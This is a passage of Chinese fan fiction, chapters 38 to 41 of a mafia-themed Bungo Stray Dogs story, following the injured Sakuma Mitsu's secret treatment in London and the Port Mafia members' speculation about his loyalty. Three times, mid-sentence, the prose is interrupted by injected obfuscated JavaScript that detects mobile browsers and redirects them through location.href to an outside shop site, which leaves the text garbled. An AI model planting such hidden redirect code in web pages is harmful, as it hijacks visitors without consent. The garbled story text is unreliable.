“想知道什么,等几年之后他回来,自己问他好了。” 目送其实还是未成年的中岛敦行礼后离开,钢琴家耸了耸肩,“他还挺诚实。” 中原中也摇了摇头,他不知道中岛敦为何突然好奇佐久间的事。他们的首领若是因为被未成年小鬼看到长相就招致人身安全危机,他会在所有人之前亲自逼佐久间手刃那种坏事的家伙。 好了,他以最高干部的身份宣布此事已了。 “‘信天翁’回来的时候,闹着要我给他支付加班费。” “那就给他。”也辛苦他答应跑那一趟。 钢琴家笑了,“只要钱财的话,多少都可以给,但他额外要三天假期。” ……要三天假期?为什么。 信天翁绘声绘色地对钢琴家讲述了自己那天的遭遇。 他躲进了卧室里,发现床上放着一身叠好的学校制服,书桌摆了两本看题目是讲拿破仑的书。好奇之余,又翻了翻家里其他地方,冰箱里有很多日期新鲜的饮料,每种都有双数的份,一个人喝太奢侈,两个人喝恰好。连家里的伞都有两把,一把纯黑色,一把是普通的透明伞。 “……等一下,”中原中也脸色一变。 纯黑色的伞他知道,就是那把相当昂贵的黑伞。 他的脸色逐渐惊恐。 “佐久间真的和那个小鬼住在一起?” 这难道不该是对太宰胡诌的吗? 太宰估计没信。但他趁着中岛敦和自己都不在的时候,借机做了什么无人知晓的事,这笔账之后算。 整件事里认真的恐怕是中岛敦和其他不知情的成员。 谁知道呢,钢琴家接着说,“他看到的确实是两个人共同生活过的迹象。” 好吧……接着说。 “他躲在卧室被发现了,右胳膊受伤的人用左手开枪,现场教那名少年上膛。过程不复杂,因为佐久间弥津不相信他,所以他一共被开枪威胁了两次。” 三天假期是信天翁为自己争取的精神损失费,是他从横滨往返那座小城所花的时间。 中原中也心烦意乱地在口头上同意了信天翁的“申请”,又问道,“他要多少加班费?” “不多,只是台球厅半年的费用。” 相比之下还真不多,但是,“你们又要去台球厅?” “对,下班就去。” 钢琴家的脸上挂起一抹愉悦的笑容,仿佛在能准时下班就幸运之至的最高干部面前提这种事令人无比快乐。 啧…… 中原中也对钢琴家隐形的“炫耀”睁一只眼闭一只眼。 38.观察病情的都市传说(上) * 当苏枋隼飞问起这两个月去了什么地方,佐久间弥津回答说,是欧洲。 手术前后的所有步骤,都是在英国完成的。 包括水落连夜派人接走他,像打包行李一样把他带回了英国。那里是他受伤后最安全的地方,没有之一。 苏枋终究是没经验的未成年人。在飞机上,外国面孔的青年谨慎又专业地为他的伤口重新止血和消毒。 “这一次见面离上一次很近,佐久间先生。” “安静干你的事,恩佐。” 水落望音对下属插话的行为表示不满。 “好的,水落先生。” 从佐久间弥津的突然辞职开始,水落望音把这几年来每一件让自己不高兴的事,都在友人耳边冷着脸反复提及。 一个人住在外地,不做手术,不吃药,还天天喝酒? 这不是给自己找不痛快吗。 以及,怎么突发奇想开书店,明明这是最麻烦的消磨时间的方法。想玩电脑游戏为何不在家配一台电脑,偏要开一家店。 最重要的,是不和无知的家伙保持距离,简直就是害人害己。 为了保住一个小鬼的性命,差点搭上自己的性命,“你就庆幸本部没有追究到底吧。” 不然现在尸体都凉了。再强悍的能力者,遇到一定要置他于死地的犯罪组织,是毫无生还余地的。 他忍不住对着好友冷嘲热讽,“你是怎么想的,天天找死的小鬼是这个世界上最不缺的东西。你心软的毛病什么时候能改,必须要下次断胳膊断腿才会改吗?” 水落望音能对友人说出的最恶毒的话,莫过于诅咒他再次因为对不该心软的人心软而遭遇不测,自毁前途。 也不能这么说,佐久间弥津心想。 这是一场意外,没人能否认。他们对本部会作出的反应心知肚明,经常遭遇暗杀的现首领不会容许出现自己无法控制的局面,哪怕只是一个苗头。苏枋是无辜的,让他眼睁睁看着苏枋因为一个意外丧失性命,他很难做到。 如果本部要追究到底……他会先想尽办法送苏枋离开这个国家。 * 黑手党首领直属的突击部队,在这几年,由一个年纪轻轻的小子领导。 就是这样一个在黑手党人眼里看起来“年少有为”的人,被指派去别的城市执行任务,而且任务失败了——一些流传出的小道消息是这样的。 “真的是这样?” 金发碧眼的俊美青年摘掉耳机,诧异地望向身边举着台球杆挥舞的友人。 那个中岛敦,是连能力都控制不好的“新兴”武斗派。道理类似“傻子克高手”,面对时不时就会能力失控的人,谁都会心里发怵的。 他的意思是,中岛敦是他见到的第一个需要用物理方式限制自身能力的武斗派。 信天翁嚷嚷着,“当然!我可不会在这种事上骗人,亲眼所见。不然你以为今天的包场费谁出的?这是钢琴家给我的加班费!” 他冒着生命危险才带回来的消息,怎么可能有假。 “但你的任务也失败了吧。”另一人说道。 “哪里失败了?”信天翁坐回沙发上,反问道,“该带的话带到了,也没有被追责,更没有受伤。” 抽烟的青年把燃烧到一半的烟在烟灰缸里捻灭。 “要求你提前把话转告给佐久间弥津,你却在他们交手之后才现身。” “判断失误而已,如果你们见到当时的场景,也会像我一样唯恐避之不及。” 提起作为旁观者见到的场面,信天翁讲述得越发起劲。 简直像闪电化作的蛇蝎毒虫遍地游走,让人毛骨悚然。鬼知道那些活物一样的电流钻进人体里会出什么事,也许,他是说也许,会让人的脑子和心脏瞬间爆开,丑陋又凄惨地死掉。 重要的是,他甚至没看清佐久间弥津有明显的攻击意图——就像短跑运动员的起跑动作一样的那种准备。 而是毫无征兆的,昏黄傍晚的桥头平地在一瞬间变成了让人头皮发麻的人造雷击场,谁的第一反应不是先看情况要不要跑? 他和佐久间弥津不熟,佐久间弥津可能根本不记得他,万一被那家伙当成敌人一并干掉,他可能就回不来了。 “中岛敦趴在地上的时候,我差点以为他已经把中岛敦成功干掉了。” “不会干掉的。”公关官说,“那个人不是前成员吗?干掉中岛敦会让叛徒的罪名板上钉钉。” 但“佐久间弥津”,他对这个名字真没印象。 “你们谁来评价一下他,让我心里有个底。”万一他们未来会是同事呢。 信天翁摇头,“我对他一知半解。但那是个狠角色,伤成那样都能忍。” 置身事外的冷血更是无法回答。他今天没加班,恰好听说接下来半年的台球店费用都有人“愿意”出,就来光顾。 “好!很好!那就由我来——” 左手撑着脸颊,公关官偏头看向进门来的外科医生,“你了解他?” 刚结束手术,从医疗部门下班的人赶时间赴与友人的约。听到这话,医生摆手否认,谦虚了一下,说,“了解谈不上,只不过他差点成为我的病人。” 佐久间弥津是个在火场里吸了太多成分复杂又高温的烟雾所以坏了嗓子的幸运儿。 说他是幸运儿,是因为他可以通过做手术勉强恢复一部分发声功能。 但在做手术之前,只能当哑巴。 “他在欧洲部门留下了不少于三起堪称‘诡异’的事迹。其中一件是和现在的代负责人合作完成的,并且二人几乎毫发无损。” 家喻户晓的大明星听得专心,可听了一阵,却惊讶地发现这几桩完美诠释何为以暴制暴的任务他居然有所耳闻。 当外科医生讲到英国部门遇到的自杀式袭击事件时,他隐隐约约间想起一个不知何时存在于他脑海中的称呼。 “执伞人”?原来是他。 佐久间弥津这个名字实在没有另一个称号流传得广和好记。 佐久间弥津就是执伞人,那就熟悉多了。 “据说他当年回国后不久就辞职了,有人以为他已经死了。” 执伞人叛逃被杀的传闻,曾经在此人刚消失的那段日子里甚嚣尘上。不过仅限于国内本部。欧洲那边对此人是何种态度,他不清楚,或许截然相反。 “他的伤势怎么样?”外科医生问到自己的专业领域。 唯一能回答这个问题的人在一杆清台失败后懊恼地回到沙发边上,心不在焉地回答,“死是不了的,还有力气左手开枪威胁我。但右胳膊动不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613110|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,伤得厉害。” 而且,替佐久间弥津紧急止血消毒包扎以及给手枪上膛的是个现学现卖的小鬼,怎么想都让人不太信得过吧。 “假如他身在横滨,我倒是可以好心进行急救。” 没人细想外科医生这话是真心还是假意。佐久间弥津现在不是组织的成员,生死有命,和他们毫无关系。 戴回耳机继续听起他的工作安排,公关官忽然想起一种可能性。 “万一他……” “什么?” “……没什么。” 一个经验丰富的黑手党成员,不会放着严重的外伤不管。而且是惯用手。万一佐久间弥津提前计划安排别人接应,才对这种伤心中有数毫不慌张呢。 公关官刚刚是这么想的。 但他立马自己驳倒了自己。 离开组织的成员,还缺去医院的理由吗。只要找个“路边突然跳出一个能力者把我打了一顿让我伤成这样”的理由,偏远地区的医院不会为自己揽不必要的麻烦。 到最后,还是没人能说清那是个怎样的人。 他对那人的长相不太记得,只记得那人的态度不是倨傲冷漠,平平淡淡的,总是面无表情。 印象里不难相处,但也没多热情。 唯一没到场的是提前支付过费用的钢琴家,发来的消息里说有突发事件所以要加班。 那还真是不走运。 * 水落望音刚好在俄罗斯,准备不久之后返程回法国。 佐久间弥津没有借口反驳好友的话。 替他包扎伤口的人手法娴熟,怕不是经常干这种活。时不时抬头看他一眼,友善的笑笑,问他需不需要加大麻药剂量,“感觉你的脸色有些发白。”局部麻醉的局限性就在这里。 佐久间弥津摇摇头,表示不需要。 水落望音冷声道,“我该派人给那个小鬼注射毒药,而不是镇静剂。” 佐久间弥津知道友人完全有胆量做出这种事。他无言注视着洛恩佐进行的最后一步——给绷带打结。堪称出色的缝合和包扎技术,他竟不知道水落手里的斥候连这种事也擅长。 这一切是瞒着港口黑手党的现首领做的。 【你回国的事被发现,会和我一起,被当成对组织心怀不轨】 他是自由人,组织发追杀令给他也没什么,但水落会被以叛徒论处。 “如果带你去治病就让他们认为我在为叛乱做准备,那他们就如此认为吧。”水落望音语气冰冷。 他有什么好怕的。他还有什么可怕的?比起看弥津的胳膊因为得不到及时治疗而有截肢的风险,欧洲部门的代负责人因为玩忽职守被撤职甚至是丢进地牢也是能付得起的代价。 没人能把他折磨死。 他盯着友人,突然命令下属给弥津注射麻醉剂。 ……? 要做什么。 佐久间弥津没有反抗,只是眼神里写满困惑。 “等你一觉醒来,就到伦敦了。” 但那也用不着给他注射这玩意。 “防止出意外。” 洛恩佐微微低头,礼貌地说,“那就抱歉了,佐久间先生。” 冰冷的液体被注射进他的身体,他注视着一步之遥的友人,没有再表示抗议。 39.观察病情的都市传说(下) 意识没有那么清晰,但他听到一阵清晰的哭声。是哭声。像承受不住压力的人在默默流泪,又被人劝说而拼命止住哭泣。 他的眼皮太沉,沉得好像有人在他眼前放了一块秤砣。不等他想清楚这道哭声从何而来,一阵凉意从他脖颈上的某一点开始,向四肢传去。他打了个寒颤,继续沉入醒不来的梦境。 * 执伞人的档案资料属于欧洲部门。心血来潮去情报室自助搜索的人忽然想到这一点。从情报部找到的人员档案不全,只有几个重要但简略的信息,想看更完整的,就需要以干部的身份调用欧洲部门的档案室。 脸上浮起一抹他对待闪光灯和记者时最常用的完美微笑,他礼节性地对离开最高干部办公室的年轻人说,“日安,首领。” 现首领的脸色平淡无奇,但略显苍白。是常年不见太阳光而有些不健康的苍白。那道令人畏惧的眼神从他身上飘过,像是初次见面般打量他。 在他意料之内地开口问,“你也找中也有事?” “也”是什么意思?他在心中想。然后,他点头承认,“是的。” “你最近的工作和中也无关吧。” 他眨了眨眼,对这个言语上莫名有些故意刁难意味的现首领温和地笑了笑,“的确,算是一点私事。” 如果首领当真要问他嘴里的私事是什么,他会把兜里的电影票拿出来,问首领要不要去看最近新上映的电影。但首领应该不会感兴趣,因为电影讲述的是一位抽象派艺术家在得了重病之后意外遇到真爱的故事。 果然,在他掏出之前随手塞进口袋里的电影票时,首领婉拒之后走远了,步伐有些快。 等在楼梯口的女性秘书跟在首领身后,想来是一同回到了首领办公室。 他回过头,把电影票塞回口袋里,敲了敲最高干部办公室的房门。 这是同经纪公司一位新人演员的电影,由于题材问题,他没有太多兴趣,而且也没有时间,放口袋里的电影票就这样被搁置了。有机会的话,送给别人好了,不然,浪费了怪可惜的。 他找中也是想说,他对前不久发生在佐久间弥津身上的事,有些别样的想法。 “佐久间弥津也许没有我们想象的那么忠于组织。”他如此大胆认为。 “理由是什么?”听公关官特地来找他谈佐久间弥津的事,中原中也一脸意外,没想到公关官居然对佐久间那么关心,“你在意他离开组织的原因?那算工伤。” “不,恰恰相反,中也,我在意的是他离开组织的时机。” 中岛敦任务失败的事在组织里以小道消息的方式传播着。大部分人知道的版本是,首领直属的成员在外派任务中偶遇组织前成员,由于二人不知道彼此的身份,最终两败俱伤,任务告吹,幸好首领没追究。 只有极少部分成员知道小道消息中阻拦中岛敦执行任务的前成员是谁。 他很巧,是其中的一员。根据他最近收集的种种关于佐久间弥津的传闻,那是个和中也喝酒不落下风,还能在发酒疯的中也面前几乎全身而退的人,也是个被前首领“亲自”招揽而来的人。 重点就在这里。 前首领知人善用,眼光独到,就连他们的现首领都和其有分不开的联系。 森先生在组织里留下了很大的影响,比如说,医疗部门能有如今的重要性,也是因为前首领的本职是一名医生,再比如说,他们能有现首领和最高干部……难道不算前首领的功劳吗。 加入组织后没多久,佐久间弥津就被派去欧洲部门常年驻扎。又在前首领逝世那段混乱的时期,作为中也的随行人员被紧急调回国内。佐久间弥津的“辞职”,发生在形势安定一些之后。 以治病作为理由,对受了工伤的佐久间弥津来说,实在是极其好用的辞职理由。 可如果让佐久间弥津辞职的真实原因不是去治病,而是前首领森鸥外的离世呢。 公关官冷静地对身为最高干部的中原中也抛出结论,“从这个角度来讲,我的话或许该变一变……他会忠于港口黑手党,但可能不会忠于现首领。” 办公室里陷入死寂。 “当然,这只是我的怀疑。但假如我的猜测是正确的,我觉得……不要召回他更好。” 公关官轻声说。 * 听到吉他声,他就明白优在他身边。 优是会弹吉他的,而且不止吉他,许多原理类似的乐器都会一点,这与优幼年的生活环境有关。可惜他的眼皮实在沉重,胳膊受伤的地方又疼又烫。他平躺在不知何处的床上,睁不开眼,半睡半醒,吉他声也时有时无。分不清是已经过了太久,还是优要停下来去看谱子。 回想起前几次找回意识时听到的哭声,那不是幻觉。如果身边还有什么人会为他的糟糕状态而真情实感的哭泣的话,只能是年纪尚小而且不属于战斗人员的染崎。 何须为他流泪呢。 中也先生吐槽他的话完全正确。每次受伤,都是咎由自取的重伤。毕竟想要保护什么,总要付出些什么。一条胳膊,一副嗓子,一条性命,都是可以付出的东西。 当他能靠自己的力气睁眼时,距他受伤已经过了将近两天。电子时钟挂在床对面,他一睁眼就能看得到当日的日期和时间。 “呦。” 推门进来的栗发青年恰好看到病人仅靠左胳膊想要坐起来。 “你醒了,”鸿上律笑着,坐到床边的椅子上,没有帮忙搭把手的意思,“水落要求我看到你醒了就再给你注射一支麻醉剂。” 他不知道原因,“但我打不过你。” 那么,干脆和水落说,自己被佐久间弥津一个照面就放倒,只能任凭病愈些许的青年自行活动好了。 那双红眼睛对他眨了一下,想来听懂了他的话,脑子没受影响。 “如果你要问水落的下落,他把你丢给我,回俄罗斯去了。”那边有紧急事务。 鸿上律凑近,像是邻座之间窃窃私语那样低声说,“听说你和首领的直属成员干了一架,原因是什么?” ……一个意外而已。 见佐久间弥津回答不了,他又补了一句,“我是问你为什么要假装不敌他。” 他不熟悉国内部门的人,但如果佐久间弥津拼尽全力都只能和对方两败俱伤,难不成对方比中原干部还厉害。 “水落离开时的脸色很难看,也很好笑。凉宫优和染崎云偷偷摸摸来看过你,被我赶走了。万一组织里的人发现你被带回这里,等有人想通这两件事之间的关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16622290|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 系,你和水落都会死。” 但偏偏两个人都不能死。佐久间弥津在英国的事,要想尽办法彻底压下去。 保险起见,这几天就委屈你只看我一张脸了。 病人朝他伸手,他心领神会地把佐久间弥津用得着的手机递出去。 【我为什么睡了两天】 “察觉你快醒了就注射麻醉剂,没醒就派人清理伤口,免得你伤口感染,再输营养液。你这两天都是这么过来的。” 【派了谁】 “医疗部不认识你的新成员。带你回来的飞机上,包括飞行员在内的,都是水落的人,大可放心。染崎云偷偷来看过你,我就顺水推舟对医生说,你是染崎云的哥哥。” 【有水吗】 即使不说话,他的嗓子也干得像吃了几口沙子。 “有。”鸿上律立马起身去给病人倒水喝,“医生说你没伤到骨头,这是唯一的好消息。” 这就够了。 监督佐久间弥津慢吞吞地喝光一杯白开水,鸿上律若有所思,“果然你是在施苦肉计给别人看吧。你做了什么,会吸引到本部的人。” 【这是你的想法吗】 “是我想问。你的能耐,我知道,所以才会奇怪。” * 要不要召回佐久间,其实是很简单的问题,没有阴谋论也没有勾心斗角。 中原中也让公关官别在原地傻站着。办公室又没有别人,怎么不坐沙发,偏要站着和他说话。 “事情的前因后果,你都知道吗。” 前因后果吗……难道不是因为一些误会,导致佐久间弥津身边的无关之人成为组织的目标吗。 “差不多。” 但理应有再往前的故事。 中原中也直说了。 “太宰顺走了我的电脑,从电脑上发现我在用钢琴家的账号和佐久间联系,还擅自进行视频通话,结果有个小鬼替佐久间接通了视频通话。” 这就是全部的故事。追根究底,错在太宰自己,而不是他早已辞职的下级身上。 组织的势力范围和组织架构这几年来越发庞大,新加入的成员良莠不齐,最终有没有能力留下还是未知数。 “你以为太宰会在乎每一个成员心里究竟忠不忠于他?那家伙现在更在乎别人能不能听从命令把事情做好。” 但中原中也没否认公关官的推测。 佐久间会对太宰有意见,不是没可能。 不过,或许佐久间不是有意见,只是太怀念前首领,没能从森先生离世的事里走出来。继续呆在组织里是对身心的折磨,于是不得不选择离开。 “中岛敦如果执意杀死目标,不会在佐久间手里讨到多少好处。就算中岛敦的异能力杀伤力不小,在经验上和佐久间差得可不止一星半点。而且……” 说到这,中原中也的脸色奇怪地扭曲了一下。 公关官看在眼里,好奇道,“你想到了什么?” 中原中也有口难言,就是……就是。 “那个小鬼好像真的和佐久间住在一起。” 哪怕他们只是单纯合住,佐久间这家伙也是绝对不允许无辜的人死在自己眼前的。 况且,“我也不想看到他们真的自相残杀。” 40.治疗中的都市传说(上) 仿佛在担心佐久间弥津擅自跑掉,把人扣在安全屋的水落望音不仅要求鸿上律收缴佐久间弥津的手机,还强迫友人答应他,在伤口结痂,感染风险降到零之前,不迈出安全屋一步。 “水落是这么安排的。”鸿上律摊手,“我是他的下属,佐久间先生,我得听他的命令。” 就当是为了组织的稳定,你还是答应吧,安全屋里什么都有,连弹药都无比充足。 “话说得难听点,佐久间先生,我们只在乎你的性命。” 你想尽办法保住性命的人,在我们眼里,他什么都不是。让水落生气不是好事。“水落眼里没有你重视的少年,杀他没有心理负担。”鸿上律苦口婆心地劝道。 如果水落哪天忽然意识到,是个和组织八竿子打不着的人导致你伤成这样的,那家伙可能遭受的危险不比之前少。 佐久间弥津每天的日常是在安全屋里四处走动,等鸿上带三餐来找他,还有等不定时上门替他复查的医疗部成员。 堪比被软禁,也就没断网比软禁稍好一点。 “水落不允许你和任何人联系,包括他本人。你有什么需求,可以和我说。” ……没收了他的手机,让他怎么“说”。 “其实,佐久间先生,你的人一直在折磨我。” 佐久间弥津抬眼看着鸿上律。 此话怎讲。 面露愁容的青年把自己最近抽空的第二个烟盒扔进垃圾桶,把伞挂在门口。 “既要拦着染崎云来找你,还要拦着凉宫优和水落起冲突,我像一块被挤扁的海绵。” 说话的人又掏出一盒用漂亮包装纸打包好的礼物,“染崎云无论如何拜托我给你的,据她说,是一盒巧克力。” 佐久间弥津的伤口随时间慢慢结痂,不再流血,但周围发痒,好在没有感染的迹象。这样的情况他忍了两周,忍过了圣诞节和新年。 现在已经是新的一年了。 安全屋坐落于郊区,从窗帘缝里看出去,周围是不加打理的老旧居民区。雨天打开窗户涌进来的空气仍然不太清新,甚至不如满房间的药味,房间里摆着空气净化器不无道理。 伦敦的冬季,雨天仍然很常见,空气湿乎乎的,在四季分明的地方呆了三年的人对这种天气突然不适应了。 鸿上律带来的是一份迟到的“圣诞礼物”。 “凉宫优还让我带份布丁来。但我用医生让你吃点好的搪塞过去了。” 我真怕他逼我给你带一整只烤火鸡。 等伤口的痂边缘松动,慢慢从皮肤上脱落,水落就会回到英国了。鸿上律初步判断。“大概再等半个月。” 还有,考虑这段时间做手术吗?我能给你安排。 佐久间弥津摇了摇头,伸出左手。 鸿上律把自己的手机交到佐久间弥津手里,还贴心地打开了备忘录功能。 【下个月吧】 等他下个月见到水落,再做打算。 “医疗部的待会儿来复查。情况稳定了,以后一周复查一次也够了。” 话音刚落,鸿上律的手机接到了一通电话。备注的名字,他不认识。 “哦……他就是给你复查的人。” 接通的电话里却传来呼救声。 青年似乎在狂奔,给鸿上律报自己位置的同时不忘用当地俚语挑衅谩骂对方。 听位置,就在附近。他们二人起身的动作无比整齐。 “你得留在这,佐久间先生。” 如果佐久间弥津还能说话,他一定会先让鸿上闭嘴。 作为欧洲部门曾经久负盛名的武斗派之一,他只是胳膊受了伤,不是变成植物人,腿脚动不了。听电话里的动静,那名年轻医生面对这种情况还有几分游刃有余。他们得尽快和对方汇合,不然才是真正的大事不妙。 而且,今天是雨天。 * 临近新年,一场大雪降落。像有人打翻一桶白油漆,把整个世界浇成毫无驳杂色彩的纯白。 呆在暖风充足的台球厅,公关官问起最近他所感兴趣的事。 几年前,针对欧洲部门本部的自杀式袭击事件,你们有谁了解? “你很好奇?” “我没怎么听说过。我好奇佐久间弥津的嗓子是怎么受伤的。”又是火灾又是杀手,听起来是很紧急的情况,但本部居然没多少人了解。 “你在忙电影的事,怎么可能听说。对一个没有多少交集的人感兴趣,这不像你。”钢琴家说。 他只是对未来的同事感兴趣。公关官为自己正名。 “你确定佐久间会成为你的同事?他是有过一段时间担任中也的副手,但那是在欧洲部门的时候。” “自然,我有这个自信。”拿着球杆,公关官退到钢琴家背后,把球桌让给今天姗姗来迟的人,“中也说,他借了你的账号和佐久间弥津联系,结果被首领发现了。” “是啊。我差点摊上大麻烦。”钢琴家也很无奈。如果首领要追责,他是逃不掉的。 那么,现在呢。 “我发了些消息打探他的伤情,但石沉大海,一句回复都没有。” 也就是说,佐久间弥津处于生死不明的状态? “可以这么说。” 二人的交流到此为止,在球桌上分出胜负是此刻更重要的事。 假如在不久后的未来,佐久间弥津本人真的站到了他们面前,他们或许会假装对此事一无所知,以换得对方放下心防。 雪一连下了几天。 而今天,灰蒙蒙的天气终于画上句号,迎来明媚的日光。白雪皑皑的景色很棒,但太阳高悬的晴朗蓝天更能为冬日增添几分触动人心的美好。 午后的温暖日光从窗外照进走廊,实在让人心里难得雀跃。在如此浪漫又充满希望的天气,神情冷峻的蓝发青年和他们在走廊上擦肩而过。 他们都认识此人,欧洲部门如今的代负责人,按时回国向上级述职……目前只有最高干部和首领算得上是此人的上级。 见到他们,飘来一个不算冒犯的淡漠眼神,算是工作时间里打招呼的独特方式,并没有停下脚步。 望着水落望音离开的身影,公关官低声感慨道,“但凡是位高层,都很敬业。” “你是在暗示什么吗?” “我一个小时前刚从谈判桌离开。他和佐久间弥津的关系不错?” 传闻中是这样。关系好坏与否,得他们本人承认。 * 背着包的青年在房屋高度层次不齐的居民区狂奔。他非常熟悉伦敦的冬天,但这样的剧烈运动还是太高看他了。 发现映入眼帘的是一堵墙,他迅速转身,背紧贴着墙,朝着电话对面求助,“鸿上先生!我跑进死路了!怎么办!” 呆原地不要动。 电话里传来的男声依然冷静。 但他冷静不了。 你们想做什么?抢劫?他包里都是绷带和药物,浑身上下最值钱的只有他的手机,是出国后买的。 歹徒的回答让菊池泽心凉了半截。完蛋,这些家伙知道他的来历。 快一点啊鸿上先生!敌人的刀已经横在他脖子上了!若是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16627192|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他血溅当场,希望组织能替他报仇。虽然他在欧洲部门只工作了半年多,但他在国内工作满一年了。 熟悉的人影出现在巷口,淋着雨,瞄准最后方敌人的肩膀开了一枪。 不够啊,鸿上先生,他们只有两个人,对付六七个持枪歹徒根本不够…… 在他焦急如焚之际,一位和鸿上先生身高相仿的人突然出现在其身后,打着一把黑伞。 他看着那人的身形,莫名感到眼熟,但心里更害怕出现的是歹徒们的帮凶。 雨水挡视野,菊池泽把放着药物的包紧紧抱在怀里,蹲在墙角,不复几分钟前谩骂敌人的自信。 伞略一倾斜,露出披着大衣的青年的脸。 的确让他感到眼熟,特别是那双红色的眼睛。 最先爆炸的是歹徒们手里的枪。 没来得及扣下扳机的枪在青年出现的瞬间被看不见的引线引爆。爆炸声和歹徒们的哀嚎同时在他耳边炸响,几秒前剑拔弩张的对峙须臾间仿佛变成了节日里喧闹的中央大街。 在空气中不断跳跃、闪烁的白光是什么?像有生命力的白色细线,又像横着飘的人造闪电。 菊池泽眯着眼睛分辨,身体使劲挤着坚不可摧的墙,好像这样能给他几分底气。 他和鸿上先生以及那位青年中间再无别的阻碍,他得以好好欣赏那双他总觉得在哪里见过的眼睛。 鲜艳但不刺眼的热烈色彩,平平淡淡,看不出喜怒。 鸿上先生招呼他先走,那位青年转身离开的动作干脆飒爽,像是懒得再关心一地的尸体。 青年转身时,没有好好穿在身上的风衣一扬,他瞥见了青年垂下的右胳膊。 他瞳孔紧缩,终于想起这是他的病人,他的病人也有这么一双很漂亮的眼睛。 他连滚带爬地踩着“尸体”跑到鸿上先生身边,正欲说话,鸿上先生给了他一个闭嘴的眼神。 为病人复查时,他安静得像一只被扼住咽喉的天鹅。 “你是谁”,这个问题憋在他心里。 他忍不住抬头去看鸿上先生。 看穿他心思的鸿上先生警告他,“别乱问。” 其实他还想问,这个病人的存在,水落先生知道吗。 “别什么事都扯到水落身上。” 他看了看鸿上先生,又看了看坐回病床上的病人。 病人也在瞧着他,不训斥,也不出言解释。 “我会替你保守秘密的,但我觉得……你还是别背叛水落先生了。他人挺好的,你不用专门培养卧底对付他,还骗我说他是染崎云小姐的哥哥……那好吧,如果因为我看穿了你的秘密,就想干掉我,那就这么干吧。但一定要把我的尸体放在棺材里,不要扔进泰晤士河,这是我最后的愿望了。” ……? 鸿上律用手枪枪托在菊池泽头上不轻不重地敲了一下,“胡思乱想是坏习惯。” 醒来以后至今都保持冷淡神情的病人,此刻竟露出一抹浅淡的笑,仿佛他方才说了一个多么引人发笑的笑话。 鸿上先生把他丢在病人面前,要返回现场处理那些半死不活的家伙。 “你到现在都学不会谨言慎行吗?” “没有,我只是……”他想要解释,但病人望着他的眼神让他愈加慌张。 “你不想着在上司面前好好表现就算了,怎么还诋毁起人了。” 一边说着,鸿上先生出了门。 ……他的上司?是什么意思。 虽然是医疗部门炙手可热的新成员,但菊池泽在人情世故这方面可谓一窍不通。 41.治疗中的都市传说(下) “我实在没拦住,水落。” 鸿上律赔着笑,对上司解释,“你也知道,我不完全精通战斗。” 他真担心让这两个人碰面会产生不得了的化学反应。现在看来还好,只不过是一个人脸黑得要命,另一个事不关己似的站在屋里,等水落开口说话。 佐久间弥津想说,他只是胳膊受了伤,不是快死了。 伤口没有感染,而且度过了结痂的阶段,有什么任务是他不能干的。既然默认他以后会回来,顺手能干掉的敌人,自然可以交给他。 有人想趁港口黑手党的代负责人不在,浑水摸鱼,只可惜他们太倒霉。水落望音在国外抽不开身,但有另一个武斗派以别样的方式暂时回归。 那些敌人甚至没能在里世界激起多大风浪,精心谋划的阴谋被分工明确的成员们一一化解。 【全当让我复健】 “……我会安排你下个月去做手术。” 佐久间弥津没有拒绝。 【好】 【谢谢】 该说的重话已经说过了,水落望音不想重复。 在完全禁声期到来前,佐久间弥津仍然在每个下雨的冬夜里撑着伞独自出门,婉拒了鸿上的陪同。 想让他尽快回来的话,就让他尽快找回工作状态。这就是他说服水落的理由。 来安全屋给他复查的医疗部成员反反复复嘱咐,他右臂的伤口不能碰水,就算部分结好的痂开始掉落,也不能提重物和用力甩胳膊,否则正在愈合的伤口会崩裂开。 手术前几天,他被抽了一管血,血液样本被带去医院检测。料想到自己术后将近一个月只能呆在安全屋或者医院休息,等待禁声期过,他越发珍惜起夜里以办事为名出门散步的机会。不能大幅度摆动的右胳膊没有妨碍到他,敌人在夜色的笼罩下也看不出他手脚不便。 所以,他早对水落说过了,他只是右臂受伤,仅此而已。 被各种原因拖到几年后的手术如约而至,很难说不是命运使然。幸运的是,这几年里,他几乎没感受过失声的痛苦。 “做了手术之后,我们要一段时间见不到了,佐久间先生。”专门来送注意事项书的鸿上笑着说,“术后你连一点烟味都不能闻,但我身上难免会带上烟味。” 我明天会送你去医院,之后接替我工作的是凉宫优。 “那小子会高兴地一宿睡不着吧。” 佐久间弥津点头,意思是也许。 但他心里知道,优早把命令任何人不能见他的水落骂得没有人样,大概是“该死的混蛋”、“独裁的暴君”之类的形容。 * 钢琴家同友人耳语。 “他回复我的消息了。” 